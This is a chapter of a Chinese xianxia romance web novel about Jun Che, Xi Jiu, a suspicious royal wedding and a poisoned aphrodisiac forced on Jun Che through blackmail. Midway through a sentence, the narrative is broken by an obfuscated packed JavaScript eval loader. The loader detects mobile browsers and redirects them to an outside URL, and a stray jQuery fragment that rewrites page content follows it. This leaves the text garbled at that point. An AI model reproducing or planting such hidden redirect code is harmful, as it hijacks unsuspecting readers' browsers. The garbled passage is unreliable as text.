36. 金雀千影验真心(六)

作品:《死对头要和我缠绵不休

    更深露重,夜风寒凉,柴堆里将熄的火苗被吹得摇了两摇,又暗了几分。


    均澈将体内从西玖那度过来的蛇毒用法术清理干净后,远处的天际已开始露白。


    他转头看向不远处的西玖,此时她正靠着石壁阖目而憩,许是衣衫单薄,她身体蜷缩,像一只惹人怜爱的小猫。


    均澈解下自己的外袍,走过去将它盖在了西玖的身上。


    西玖貌似感受到了均澈的动作,眉头轻皱,发出及其微弱的闷哼声。


    均澈以为自己动作太大将西玖弄醒了,手顿时僵了僵,可一看西玖仍旧闭着双眼,呼吸平稳绵长,丝毫没有醒过来的意思。


    他松了一口气,继续手中的动作,却不料西玖身体一倾,他见状顺势接住,西玖整个人便倒在了他的臂窝里。


    他脑袋空白了一瞬,低头看向西玖。


    整个山洞不大,晦暗的火光映照着均澈的背脊,在西玖面前投下一片阴影。


    他嘴角微扬,眉眼带笑,缱绻着无限温柔,而后伸出手将西玖散落在脸上的发丝别在耳后,鬼使神差地摘掉自己的面具,低头在西玖的眉心落下轻柔的一吻。


    当他意识到自己的行为时,心中突然一惊,连忙将西玖扶好,别过身,皱了皱眉。


    他真是疯了,刚刚是在做什么?


    真是疯了。


    西玖一回金雀族,便匆匆去到了媚然那里,却不料潮衍也在,她呼之欲出的话被生生给咽了回去。


    “怎么了?一副急匆匆的样子?”


    媚然看着站在殿门口的西玖问道。


    西玖看了一眼潮衍,媚然便立刻反应过来,说:“我们婚期在即,潮衍此后也算是金雀族的人了,阿玖有什么事就在这里直说吧。”


    潮衍也挺有眼力见,笑了笑,“既然不方便,那我先出去就是。”


    “你知道的,阿玖做事一向谨慎,你不要见怪。”


    媚然宽慰道。


    “无妨。”


    西玖语气微冷,对潮衍道了谢。


    “多谢体谅。”


    潮衍皮笑肉不笑地摇了摇头,离开的时候阴测测地看了西玖一眼,目光中皆是不屑。


    西玖觉得潮衍此人极为怪异,但是又说不上来为什么,于是便问媚然:“潮衍一直这样吗,为何我感觉他同之前有些差异呢?”


    “几百年过去了,性子有些变化是正常的,阿玖就不要担心了。”


    可即便媚然这样说,西玖还是不能消除对潮衍的疑虑,并对媚然的一些行为感到奇怪。


    媚然此前可不是那么随便就下定论的人,她做事甚至比西玖更为谨小慎微。


    “对了,你这么急匆匆地过来,又把潮衍支走,是想要说什么呀?”


    西玖将自己遇袭的事交待了一番。


    按照金雀族的习俗,整个婚宴要持续三天。第一日会举办长达一天一夜的大型婚宴,来客们可以载歌载舞,以酒尽兴。第二日会搭载比武招亲的擂台,若心仪之人便可以借此机会表达爱意,请求结缘。到了第三日才正式进入拜堂成亲的阶段。


    但往往这种场合便是发生祸事的高峰期,行事要比平日更加小心。


    “明日王上的婚期便开始了,又恰巧遇上这样的事,更要多加防备,以免再生事端。”


    媚然点点头,“我会让沫绡多加派些人手的。”


    西玖正准备离开,又想起了什么,转身道:“对了,前日夜里我遇到了影族的人,虽然只有一个,但难保不会有其他的同伙。他们从九冥出来肯定也带着别的目的,王上务必小心。”


    媚然听到“影族”二字,神色微微一变,旋即道:“区区影妖,掀不起什么风浪,他们来便来吧。”


    西玖意味深长地看着媚然,眼底闪过一丝不解,“不知是否是阿玖离开金雀族的时间太长了,感觉王上和之前也有所不同。”


    “勿要多言。”


    媚然有些不耐烦,声音微冷:“若没有别的事,你先回去准备明日的宴会吧。”


    她对宴会之事一向没有什么兴趣,明日也不打算去参加,所以被打发走后便径直去了沫绡那里,安排婚宴期的防守事宜。


    路上恰巧碰到迎面走来的均澈,今早她在山洞中醒来时均澈便不见了身影,只留下了一封翎羽信,说是有急事先行一步。此刻她碰到他正想打个招呼问候一下,但均澈却好似没有看见她一般,径直从她身旁跑了过去。


    西玖一头雾水地看着他离开的背影,心里在想这最近是发生了什么事吗,怎么所有人看起来都奇奇怪怪的。


    翌日的晚宴均澈到的时候已是深夜,他随意地找了一个位置坐下来,为自己斟了一杯茶,目光便游离在人群中,寻找着西玖的身影。


    昨日凌晨他接到了卓苍的消息,说是那个替代他的傀儡趁守卫不注意逃走了,他才不得不扔下西玖先行离开,直到一个时辰前他才抓到了那个傀儡,将他抹了脖子,替换成了自己的人。把后续所有事情处理完毕后他才匆匆赶来。


    他本来想向西玖赔个不是,可是眼睛寻找了半天,硬是没看到西玖。


    “你可知西玖去了哪里?”


    他找了一个婢女问道。


    婢女恭敬地说:“西玖大人一般不出席此类宴会,所以奴婢也不知道大人去了哪里。”


    均澈听后垂下眸,觉得无趣,便将杯中的茶饮尽,拂袖离开。


    他走在月光之下,蓝白色衣袍被衬得更为皎洁,整个人如同一块清冷的玉石。


    “出来吧,别鬼鬼祟祟的。”


    他步子停在了一偏殿后花园处,声音比寒潭更凉上几分。


    话音刚落,便从黑暗中传来一阵哂笑声。


    “真不巧,被你发现了。”


    一个娇小的身影慢慢出现在均澈眼前。


    均澈眉尾一挑,眯着眼上下打量,觉得眼前之人颇为熟悉。


    “你是?”


    玄衣女童叉着腰说:“二殿下,此前我们在苍衍墟见过,怎么转头便把我忘了?”


    他看了半天才想起这是他和西玖在苍衍墟的那条阴阳并蒂鱼。


    “我一直待在宫中,不曾去过什么苍衍墟。”


    白玉面具下的瞳孔中闪过一丝杀意。


    他带着面具,这玄衣女童怎么就敢断定他是君辙?这背后定是受人指使。


    “不要以为你带着面具我就不认识你了,你们欺负我弟弟,让我无数手下丧命,这笔账我可不敢忘!”


    听了这话,均澈便更加确定她被有心之人给利用了,于是也不再装。


    “小黑鱼好眼力。”


    玄衣女童像吃了炸药般,跳脚道:“不许这么喊!”


    均澈轻笑,想看她接下来准备做什么,于是故意激道:“自上次害你弟弟受伤后,我心生愧疚,本来打算不日便去看看他呢,既然你来了,便代我问个好吧。”


    “少假心假意!”


    她弟弟上次被他们弄伤,养了两三个月才好,内心受到了不小的创伤,他们也因为看守幽兰珠不力,被天君降罚,这个仇不是一时半会儿可以说清的。


    可是以她的实力,报仇之事难以实现,但后来某日,一个黑衣人便寻到了她,说如果将人鱼泪给龙族二殿下服下,便可以许她一个愿望。


    她一听很是高兴,她既然不能亲手报仇,那就假借他人之


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15544839|168610||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    手,于是便欣然接受了这个要求。


    后来她看了画像,发现那二殿下便是害她之人,顿时愤懑不堪,一个催情的东西能带来什么致命的伤害,于是她便在人鱼泪中加了其他能够令人生不如死的东西。


    这个毒名为断魂欢,一旦染上,无药可解,中毒者每每毒发时,会头疼欲裂,意识混乱,心中的□□也会被激起,全身上下便似百蚁侵蚀,痛苦不堪。


    “那你觉得如何才不算假心假意呢?”


    玄衣女童拿出一瓶药,“很简单,把我手中的人鱼泪喝下去。”


    “我为何要听你的?”


    女童轻笑,又拿出另一个瓶子,“我在晚宴的酒中下了海棘花,若是你不喝,我就会把这个烟雾瓶打破,过不了多久,今日到场的所有人便会吸食到这个气味,届时全部都会暴毙而亡。”


    她摇了摇装有人鱼泪的瓶子,“怎么样,你喝还是不喝?”


    均澈杀意四起,冷笑中带着随时会将人扼死的可怖。


    “我最讨厌别人威胁我,你确定要这么做么?”


    玄衣女童倒是不怕,“你若敢动我一分,我即可就把这个瓶子摔碎,大不了我们鱼死网破!”


    均澈闭了闭眼,压抑住心中的怒火,左右不过人鱼泪,当时在无音谷,听人鱼之歌时就无事发生,他现在就算喝了这人鱼泪也不会怎样。


    反而是人的性命他不敢赌,若都因此丧命,西玖肯定会很伤心。


    “我喝。”


    均澈淡淡道。


    “好!”


    玄衣女童将人鱼泪扔给均澈,眼睁睁地看着他喝完才放下戒备。


    “既然二殿下那么爽快,那我也说话算话。”


    她将烟雾瓶放下,转身便逃入了黑暗之中,走时不忘留下一句调侃的话,“春宵苦短,殿下要好好享受哦。”


    玄衣女童走后,均澈便把卓苍叫了出来。


    “把她给我抓回来。”


    他原以为那女童会使什么手段,竟然只是让他喝下人鱼泪,实在是令人费解,他倒要看看背后指使他的人葫芦里卖的什么药。


    “属下领命。”


    卓苍离开时,见均澈身形有些不稳,“殿下可是身体不舒服?需要属下送殿下回去休息吗?”


    喝下人鱼泪后,均澈便感觉头有点昏沉,心中像是点燃了一团烈火,令人焦躁不安。


    “我无妨,别耽误了要紧事。”


    卓苍消失后,均澈找了一个石敦坐下,努力地调节着内息,可是不但不见好转,还更为严重。


    他的体内像有万千条蛀虫在啃咬他的血肉,散发一阵阵难以忍受的痒意,灵台此刻也愈发地不清晰,一种最原始的冲动在他心中苏醒,他蠕动着干涩的喉咙,极力渴求疏解。


    之前他在无音谷时什么事都没有,可现在为何小小的人鱼泪便让他难受不已,他明明没有对任何人动心。


    西玖的面容和昨晚在洞穴里的那一吻此刻不合时宜地出现了在了均澈的脑海中,他眉头紧锁,又给自己强加了一层静心咒,让自己不要去想这些。


    当务实之急是赶快回到寝殿,不能让旁人见到自己失态的模样。


    他的寝殿在另一座山屿,于是艰难地起身施法朝那边飞去。


    不知是脑海太过混乱,他竟然将方向弄反了,等他落地时,才发现这殿苑的布置和自己那处截然不同。


    他闭着眼靠坐在树边,呼吸沉重,细密的汗珠沿着他的下颌成汩地流下,无论他给自己加多少层静心咒,西玖的样子始终在他的脑海中挥之不去。


    此时一个声音响起,彻底激起了他心底的欲望。


    不,不要过来!